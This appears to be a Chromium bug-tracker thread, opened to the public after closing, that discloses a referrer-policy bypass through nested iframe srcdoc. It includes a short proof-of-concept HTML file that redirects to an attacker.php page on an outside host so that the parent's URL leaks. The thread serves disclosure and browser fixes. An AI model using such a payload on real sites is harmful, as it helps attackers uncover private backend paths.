The danger of this vulnerability is if the website's secret backend has a blind xss, attacker can use this payload to steal the path of backend

OP -- thanks for filing the issue.
Can you please post the contents of 'secret_page.php'?

Sorry I should use .html suffix, there is no more than html contents
```
<meta name="referrer" content="no-referrer">
referrer not leaked:
<iframe srcdoc="<script>location.href='http://test.au1ge.xyz/referrer/attacker.php'</script>"></iframe>
<br>
referrer leaked:
<iframe srcdoc="<meta name='referrer' content='unsafe-url'><script>location.href='http://test.au1ge.xyz/referrer/attacker.php'</script>"></iframe>
```

can you eplain why the referrer should not be sent? You're explicitly setting the policy to unsafe-url

My point is a nested frame which inherited the security origin from top frame should respect it's top frame's referrer policy no matter the nested frame has it's own referrer policy or not, because if the nested frame's referrer leaked, it's the same as top frame's referrer leaked, which break top frame's referrer policy

ok, I can see your point.

This is however not how the feature is specced. If you want, you start a discussion on the referrer policy spec about this, but until then, I can't change the implementation to violate the spec

I created an issue on https://github.com/w3c/webappsec-referrer-policy/issues/116, and they pointed out that it's the right way, so I think it's necessary to change the implementation

Issue 898224 has been merged into this issue.

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot